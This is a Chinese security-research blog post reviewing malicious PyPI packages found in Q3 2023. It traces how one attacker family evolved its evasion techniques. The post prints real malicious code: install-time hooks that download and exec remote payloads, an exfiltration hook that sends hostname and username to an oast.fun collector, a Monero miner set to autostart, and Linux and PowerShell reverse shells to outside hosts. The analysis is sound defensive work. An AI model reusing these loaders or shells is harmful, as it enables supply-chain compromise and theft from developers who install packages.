【天问】PyPI 2023年Q3恶意包回顾(二)

2023年第三季度,天问Python供应链威胁监测模块共捕捉到320个恶意包。在对某一家族的恶意包分析中,我们发现攻击者会不断尝试更新迭代攻击方式来规避安全检测,其恶意代码逐渐趋同于正常代码。这使得恶意代码监测的难度不断提升,给供应链安全带来了巨大的挑战。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。

1. 网络请求

相关恶意特征: requests.get, socket.socketurllib.request.urlopen

这种恶意包根据网络请求的目的可以分为三类,信息回传恶意载荷下载反向Shell

1.1 信息回传

相关恶意特征: socket.gethostname, os.getcwd, getpass.getuserrequest.get, platform.release, platform.systemhttps://api.ipify.org, http://ifconfig.me, https://geolocation-db.com/jsonp/{ip}socket.gethostname

我们在Q3的监测中,发现了一个恶意包家族,这些恶意包在setup.py中设置的authorauthor_email完全一致。通过对这个恶意家族的演变分析,我们发现攻击者也在不断升级尝试不同的攻击手法,来逃避安全检测。

discord-api-requests-1.0.0/setup.py

from setuptools import setup
from setuptools.command.install import install
import requests

class CustomInstall(install):
    def run(self):
        requests.post(
            url="https://discord.com/api/webhooks/1149195944424906772/X4IehrY8fcrdKYgHuGN8dY9xK9hYcZ1J6suYIwS-0HMdNSbYe27FZqpCUjeUMd-7voQY",
            json={
                "content":"Alguien ha instalado el paquete."
            }
        )
        install.run(self)

setup(
    ...
    author='Benjamin Rodriguez',
    author_email='benjaminrodriguezshhh@proton.me',
    ...
)

这是我们发现的这个恶意家族的第一个包,可以看到它向一个discord账号回传了一个字符串”Alguien ha instalado el paquete.”。这是一句西班牙语,含义是”有人已经安装了该软件包”,由此可以推断这是攻击者的一个测试包。

当天晚些时候,该攻击者又发布了另外一个恶意包。

simple-discord-api-1.0.1/setup.py

from setuptools import setup
from setuptools.command.install import install

class CustomInstall(install):
    def run(self):
        import requests
        exec(requests.get("http://wpp-api-vrv3.onrender.com/api/steal/1140884481671188581/", headers={"auth":"&&CD&&ON"}).json()['code'])
        install.run(self)

setup(
    ...
    author='Benjamin Rodriguez',
    author_email='benjaminrodriguezshhh@proton.me',
    ...
)

从包内的内容,我们可以看到攻击者将恶意代码放在的第三方网站上,通过网络请求的方式获取恶意代码并加载到内存中执行。第三方网站的截图如下所示。

之后,该攻击者将PyPI的账号从benjskk切换到了benjaprograms,同时更新了恶意包的内容。将攻击代码变成字符串,写入文件中,然后通过执行文件的方式来发起攻击。这样可以避免静态检测中对于第三方库函数的检测,具体代码如下所示。

discord-simple-api-1.2.1/setup.py

from setuptools import setup
import os
from setuptools.command.install import install

class CustomInstall(install):
    def run(self):
        install.run(self)
        code = """
import requests
response = requests.get("http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/", headers={"auth": "&&CD&&ON"})
code = response.json().get('code')

if code:
    exec(code)"""
        with open("on.py", "w") as f:
            f.write(code)
        os.system("python on.py")

setup(
    ...
    author='Benjamin Rodriguez Acosta',
    author_email='benjaminrodriguezshhh@proton.me',
    ...
)

discord-simple-api-1.3.1中,攻击者取消了文件写入操作,直接使用exec执行字符串,实现无文件攻击。

discord-simple-api-1.3.1/setup.py

from setuptools import setup
import os, time
from setuptools.command.install import install

class CustomInstall(install):
    def run(self):
        import threading
        def runxd() -> None:
            time.sleep(3)
            code = """
import requests
response = requests.get("http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/", headers={"auth": "&&CD&&ON"})
code = response.json().get('code')

if code: exec(code)"""
            exec(code)
        install.run(self)
        threading.Thread(target=runxd).start()

...

三天后,攻击者又使用bestprogrammer这个账号发布了新的恶意包urtelib32-1.7.2,这次攻击者将攻击代码使用base64编码写入一个文件,并将文件伪装成png。从第三方服务器下载到这个伪装png后,会对其解码运行。迷惑性更强,具体代码如下。

urtelib32-1.7.2/setup.py

from setuptools import setup
import os, time, requests
from base64 import b64decode
from setuptools.command.install import install

class CustomInstall(install):
    def run(self):
        import threading
        def runxd() -> None:
            with open(
                "image.png",
                "wb"
                ) as file:
                file.write(
                    requests.get(
                        f"http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png",
                        headers={"auth":"&&CD&&ON"}
                        ).content
                )

            exec(b64decode(open("image.png", "rb").read()))
        install.run(self)
        threading.Thread(target=runxd).start()

setup(
    ...
    author='Pain',
    author_email='benjaminrodriguezshhh@proton.me',
    ...
)

然后,攻击者bestprogrammer又进一步隐藏了恶意代码,在urllitelib-1.0.1中,其将恶意代码从setup.py中移到的urllitelib/post_install.py中,setup.py中只保留启动命令,具体代码如下所示。

urllitelib-1.0.1/setup.py

from setuptools import setup
from setuptools.command.install import install
import os

class CustomInstall(install):
    def run(self):
        install.run(self)
        os.system('python urllitelib\\post_install.py')
...

urllibtelib-1.0.1/urllitelib/post_install.py

import requests
import os
import sys
import ctypes
import time
from base64 import b64decode

def main():
    if not ctypes.windll.shell32.IsUserAnAdmin():
        ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)

    try:
        with open(
                "image.png",
                "wb"
                ) as file:
                file.write(
                    requests.get(
                        f"http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png",
                        headers={"auth":"&&CD&&ON"}
                        ).content
                )

        exec(b64decode(open("image.png", "rb").read()))
    except Exception as e:
        print(e)
        time.sleep(15)

if __name__ == "__main__":
    main()

为了进一步隐藏攻击代码,攻击者pyprograms选择不在安装时执行恶意代码,而是将恶意代码放到模块的__init__.py文件中,在import过程中执行。同时,其添加了其他正常代码企图干扰检测分析,具体代码如下。

pygraphql32-1.2.0/setup.py

from setuptools import setup
from setuptools.command.install import install

class CustomInstall(install):
    def run(self):
        install.run(self)

setup(
    ...
    author='Pain',
    author_email='benjaminrodriguezshhh@proton.me',
    packages=['pygraphql'],
    ...
)

pygraphql32-1.2.0/pygraphql/__init__.py

import requests, random, time
import requests
import sys
import ctypes, time
from base64 import b64decode

while True:
    try:
        if not ctypes.windll.shell32.IsUserAnAdmin():
            ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
        with open(
            "image.png",
            "wb"
            ) as file:
            file.write(
                requests.get(
                    f"http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png",
                    headers={"auth":"&&CD&&ON"}
                    ).content
            )

        exec(b64decode(open("image.png", "rb").read()))
        break
    except Exception as e:
        print(e);time.sleep(5)

class ProxiesObject:
    def __init__(
        ...
    ...

通过对这个恶意家族的分析,我们不难发现攻击者对于逃避恶意检测的手段在不断迭代更新,而且他们的伪装使得恶意代码与正常代码相差无几。这对于恶意检测分析而言将是一个非常严峻的考验,未来如何能高效准确地分辨这些恶意包将会是非常重要的一个课题。

visumpy-2073.0.0/setup.py

from setuptools import setup
from setuptools.command.install import install
import requests
import socket
import getpass
import os

class CustomInstall(install):
    def run(self):
        install.run(self)
        hostname=socket.gethostname()
        cwd = os.getcwd()
        username = getpass.getuser()
        ploads = {'hostname':hostname,'cwd':cwd,'username':username}
        requests.get("https[:]//cj9j06r2vtc0000ayy00gjjwdxayyyyyg.oast.fun",params = ploads) #replace burpcollaborator.net with Interactsh or pipedream

这个恶意包收集了用户主机名和用户名等信息进行了回传。经过分析,回传所使用的网址是通过GitHub一个开源工具interactsh生成的,其可以将payload内容通过这个网址回传给攻击者。类似的网址还有https://oastify.com/,其是Burp Suite用于测试web应用安全漏洞的,但被部分攻击者用于接收受害者的相关信息。

信息回传常见网址 oastify.comburpcollaborator.netpipedream.netoast.fun, https://discord.com/api/webhooks/

1.2 恶意载荷下载

恶意载荷可以是一个恶意文件,也可以是一段代码。这些载荷通常放在第三方文件分享网站,常见的网站列表如下所示:

https://paste.fo,https://transfer.sh/,https://cdn.discordapp.com/attachments/,https://dl.dropbox.com/,https://www.mediafire.com/,https://rentry.co/,https://raw.githubusercontent.com/,https://render.com/

adv2099m-1.0.0/setup.py

import setuptools
from setuptools.command.install import install
from setuptools.command.develop import develop
import base64
import os

def b64d(base64_code):
    base64_bytes = base64_code.encode('ascii')
    code_bytes = base64.b64decode(base64_bytes)
    code = code_bytes.decode('ascii')
    return code

import requests
from zipfile import ZipFile
#C:\Users\PC\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
#C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
#C:\Windows

#url download
url = "https[:]//download1085.mediafire.com/h5t294h9wiggBiOS47OJsrAqRrBavPAoZQwcwB5KIZ1pVBfq8nwg6f5tkwkJBp_-1SgEgF_7Byes35_olhHdHrO80O0ApX_h542P6jxftPccXDAK3U-Qs9bSPv30ozmTTutwK_j1vbrft2sCW4scgeVLHqLGrio4dAPUy_1DuXLOvw/0p52izgv4chgn3c/SystemComponents.zip"

myfile = requests.get(url)
open("SystemComponents.zip", "wb").write(myfile.content)
with ZipFile("SystemComponents.zip", "r") as Zfile:
    Zfile.extractall()
os.remove("SystemComponents.zip")
path1 = os.getenv("AppData")
path2 = "\\Microsoft\\Windows\\Start Menu\\Programs\Startup"
os.rename("SystemComponents", path1 + "\\SystemComponents")
f = open("WindowsUpdater.bat", "w+")
f.write("cd " + path1 + """\\SystemComponents
WindowsXr.exe --opencl --cuda -o stratum+ssl://randomxmonero.auto.nicehash.com:443 -u 39GPVHHtZdPGW2H3F1MMgW94KF8hxfsEWU -p x -k --nicehash -a rx/0""")
f.close()
os.rename("WindowsUpdater.bat", path1 + path2 + "\\WindowsUpdater.bat")

...

这个恶意包利用requests下载了一个zip文件,并将其解压缩移动到了Windows的AppData目录下。然后,其通过改写WindowsUpdater.bat实现了系统启动时的自动运行。

pfadver05/setup.py

...
setuptools.setup(
    name = "pfadver05",
    version = "1.0.0",
    ...,
    packages = setuptools.find_packages(),
    py_modules=["adv2099"],
    python_requires = ">=2.0",
)

这个恶意包的攻击代码与上面的基本一致,差别在于它将恶意代码从setup.py文件中移动到了adv2099.py中,并在setup参数中规定了模块名。这样模块被导入的时候,就会触发攻击。

1.3 反向Shell

相关恶意特征: socket.socket/bin/sh

nir-bb-test-0.6

...

import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172[.]190.121.182", 3306))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

2. base64 payload

相关恶意特征: base64.b64decodesetuptools.command.install.installtempfile.NamedTemporaryFile

pyJwtRequest-1.0.4/setup.py

import base64

import setuptools
from setuptools.command.install import install

code = '''aW...Q0K
'''

class AfterInstall(install):
    def run(self):
        exec(base64.b64decode(code))
setuptools.setup(
   ...
)

payload可以是一段代码,也可以是一个二进制文件。这个恶意包中包含了一个反向shell的代码。

import os, socket, subprocess, threading
from urllib.parse import urlparse

url = "2[.]tcp.ngrok.io:16418"
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()


def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

def get_ip_from_url(url):
    parsed_url = urlparse(url)
    hostname = parsed_url.hostname
    ip = socket.gethostbyname(hostname)
    return ip


print("co")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("2.tcp.ngrok.io", 16418))


p = subprocess.Popen(["powershell"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

feur-0.1/setup.py

import base64
import subprocess
import setuptools
from setuptools.command.install import install
import tempfile

code = '''aW1...
'''
code2 ='''TVq...'''


class AfterInstall(install):

    def run(self):
        decoded_data = base64.b64decode(code2)
        with tempfile.NamedTemporaryFile(delete=False) as temp_file:
            temp_file.write(decoded_data)

        # Exécution du fichier temporaire
        process = subprocess.Popen(temp_file.name, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        output, error = process.communicate()

这个包中的内容相较于前一个包,添加了一个新的base64字符串code2。这个payload是一个二进制文件,在包安装过程中写入临时文件并执行。

3. 附录(恶意包列表)

  1. 网络请求
  • 信息回传
包名版本作者上传时间
visumpy2073.0.0prasiddha472023-07-06T09:05:59
min-jq1.5kotko2023-07-12T04:30:46
diaossama-test20.0.3PypiSecTest2023-07-13T09:48:51
diaossama-test30.0.2PypiSecTest2023-07-14T11:13:10
diaossama-test30.0.3PypiSecTest2023-07-14T11:28:56
diaossama-test30.0.4PypiSecTest2023-07-14T11:38:36
thanos-gen2.1.1predator_97x12023-07-20T10:37:34
mypackage-for-demo-purposes0.1clear-test2023-07-27T06:48:24
nferx1.0.0abradabra2023-07-27T09:15:31
algokit-arc10.0.1nirajmodi2023-08-05T05:07:47
dependencyrrr1.0.0Rooted0x012023-08-08T04:21:25
peloton-client1230.8.10y54586b02023-08-13T22:34:01
syns-knox-xss-allwhere1.0.0Rooted0x012023-08-13T22:38:30
kwxiaodian9.1.10LkBAUB2023-09-03T15:10:39
openapi-ba9.1.10LkBAUB2023-09-03T15:40:37
dsc-auth1.1.1index809993572023-09-03T15:44:52
vmc-reporter1.99.103Pinkyy2023-09-06T08:53:02
appsec-utils1.99.105Pinkyy2023-09-06T13:04:40
appsec-utils1.99.106Pinkyy2023-09-06T15:02:33
aisi-od-training1.99.106rc1Pinkyy2023-09-07T09:49:42
discord-api-requests1.0.0benjskk2023-09-07T04:15:52
simple-discord-api.py1.0.0benjskk2023-09-07T20:08:41
simple-discord-api.py1.0.1benjskk2023-09-07T20:15:25
simple-api.py1.0.2johnprogrammer2023-09-07T20:35:46
discord-simple-api.py1.2.1benjaprograms2023-09-07T22:05:35
discord-simple-api.py1.3.0benjaprograms2023-09-07T22:09:12
discord-simple-api.py1.3.1benjaprograms2023-09-07T22:12:41
rtlibb321.2.1benjashh2023-09-08T00:26:21
urtelib321.7.2bestprogrammer2023-09-10T01:06:45
urtelib321.7.3bestprogrammer2023-09-10T01:10:51
urtelib321.7.5bestprogrammer2023-09-10T01:19:28
urllitelib1.0.1bestprogrammer2023-09-10T02:33:10
pygraphql321.2.0pyprograms2023-09-10T18:50:15
litepygraphql1.2.0pyprograms2023-09-10T19:12:05
pygraphql321.2.1pyprograms2023-09-10T19:18:23
graphql321.7.3johnxx2023-09-11T01:23:48
graphql321.8.0johnxx2023-09-11T02:18:05
secureit-a-tope1.2zer0ulsalamandy2023-09-15T08:32:01
secureit-a-topev11.2zer0ulsalamandy2023-09-15T08:33:28
secureit-a-topev21.2zer0ulsalamandy2023-09-15T08:36:15
secureit-a-topev31.2zer0ulsalamandy2023-09-15T08:38:22
secureit-a-topev399.99zer0ulsalamandy2023-09-15T12:34:02
secureit-a-topev499.99zer0ulsalamandy2023-09-15T12:35:30
pytarlooko1.0.0vcdhgfg2023-09-23T20:53:42
  • 恶意载荷下载
包名版本作者上传时间
adv2099m1.0.0adv20992023-07-02T16:49:27
adv2099m21.0.0adv20992023-07-02T16:58:52
adv2099m31.0.0adv20992023-07-02T17:02:29
adv2099m41.0.0miguel20992023-07-02T17:14:02
adv2099m51.0.0miguel20992023-07-02T17:17:51
adv2099m61.0.0miguel20992023-07-02T17:21:26
adv2099m71.0.0adv2099n22023-07-02T19:06:30
supra-style0.6Oxygen13372023-07-04T02:19:16
supra-style0.7Oxygen13372023-07-04T11:10:45
urz0.1SpookyCoder2023-07-04T19:49:31
juk0.1SpookyCoder2023-07-04T21:08:45
tjajsd10.33Tahg.py2023-07-05T15:08:53
jas9do17.72Tahg.py2023-07-05T15:12:38
18923aa4.96Tahg.py2023-07-05T15:13:32
pfadver051.0.0pfadver052023-07-06T18:20:45
servantcord1.0.0servant6662023-07-07T12:22:11
servantcord1.0.1servant6662023-07-07T12:51:10
servantcord1.0.2servant6662023-07-07T12:56:38
servantcord1.0.3servant6662023-07-07T12:59:20
servantcord1.0.4servant6662023-07-07T13:02:26
servantcord1.0.6servant6662023-07-07T13:05:35
servantcord1.0.8servant6662023-07-07T13:16:53
servantcord1.0.9servant6662023-07-07T13:21:35
servantcordd1.0.9servant6662023-07-07T14:10:00
servandcord1.0.9servant6662023-07-07T15:10:24
testpackageforyoutube1.0.0killskids2023-07-14T10:42:43
killskids-auth1.0.5killskids2023-07-14T11:34:01
killskids-auth2.0.0killskids2023-07-14T12:33:28
pyobfuscater1.0.0killskids2023-07-17T17:59:55
pyobfuscater1.0.1killskids2023-07-17T18:05:19
pyobfuscater1.0.3killskids2023-07-17T18:11:54
pyobfuscater1.0.7killskids2023-07-17T18:16:39
pyobfuscater1.0.8killskids2023-07-17T18:19:14
pyobfuscater1.1.0killskids2023-07-17T18:25:55
pyobfuscater1.2.1killskids2023-07-17T18:29:53
wessycord1.2.4killskids2023-07-17T18:37:21
wessycord1.6.1killskids2023-07-17T18:46:08
nagie1.1.0DreamyOak2023-07-19T13:35:21
nagie1.13.0DreamyOak2023-07-19T13:39:37
nagie2.32.0DreamyOak2023-07-19T13:46:35
nagiepy3.422.0nagie2023-07-22T10:47:00
nageir0.1.2nagie2023-07-22T10:55:47
dsicobotuser0.0.1True_Hell2023-07-20T06:27:42
dicuser0.0.1True_Hell2023-07-20T06:36:22
dicuser0.0.2True_Hell2023-07-20T06:45:13
dicuser0.0.3True_Hell2023-07-20T06:58:52
dicuser0.0.4True_Hell2023-07-20T07:12:37
dicuser0.0.5True_Hell2023-07-20T07:22:13
diuser0.0.1True_Hell2023-07-20T07:31:17
genuser0.0.1True_Hell2023-07-20T15:28:23
duck-test-pkg1.99.0pypi_sw_training2023-07-24T18:59:34
duck-test-pkg1.99.0pypi_sw_training2023-07-24T18:59:36
splite50.0.1badsidev2023-07-25T11:23:09
splite50.0.1badsidev2023-07-25T11:23:10
evil-pip0.0.10xe2d02023-08-23T19:47:01
evil-pip0.1.00xe2d02023-08-23T20:00:56
  • 反向Shell
包名版本作者上传时间
nir-bb-test0.6niroh2023-07-03T14:51:55

2. base64 payload

包名版本作者上传时间
graphdata0.9.0j_ackerman2023-07-01T09:20:32
pyJwtRequest1.0.4ErwannTestOmg2023-07-01T14:44:02
EvannLeGoat1.0.4ErwannCacaOmg2023-07-01T15:38:30
SwiftyPy2.1SwiftFan2023-07-01T16:40:39
SwiftyPy3.1SwiftFan2023-07-01T22:47:45
SwiftyPy4.1SwiftFan2023-07-01T22:50:24
SwiftyPy5.1SwiftFan2023-07-02T00:46:56
SwiftyPy7.1SwiftFan2023-07-02T00:56:54
SwiftyPy8.1SwiftFan2023-07-02T01:03:18
SwiftyPy8.2SwiftFan2023-07-02T01:06:59
requests-toolbelt-20.0.0nexmo2023-07-20T02:02:44
requests-toolbelt-20.0.0nexmo2023-07-20T02:02:45
requests-toolbelt-v20.0.0jrich842023-07-20T02:09:25
requests-toolbelt-v20.0.0jrich842023-07-20T02:09:26
requests-toolbelt-v20.0.1jrich842023-07-20T02:12:47
requests-toolbelt-v20.0.1jrich842023-07-20T02:12:49
osinfopkg0.0.3marianacamelia2023-07-19T07:54:17
osinfopkg0.0.3marianacamelia2023-07-19T07:54:19
osinfopkg1.0.2marianacamelia2023-07-24T06:26:57
osinfopkg1.0.2marianacamelia2023-07-24T06:26:59
osinfopkg1.0.3marianacamelia2023-07-24T06:58:55
osinfopkg1.0.3marianacamelia2023-07-24T06:58:57
osinfopkg1.0.4marianacamelia2023-07-24T07:19:32
osinfopkg1.0.4marianacamelia2023-07-24T07:19:33
VMConnect1.1.7hushki5022023-07-28T02:38:30
VMConnect1.1.7hushki5022023-07-28T02:38:32
this-package-is-a-test-of-starjacking1.0.0allegrep2023-09-11T15:48:47
pystob1.0.0Hellka2023-09-17T11:12:51
pylioner1.0.0Histoll2023-09-17T21:23:42
pystallerer1.0.0J_nky2023-09-22T18:49:22
pyktrkatoo1.0.0J_nky2023-09-23T17:31:57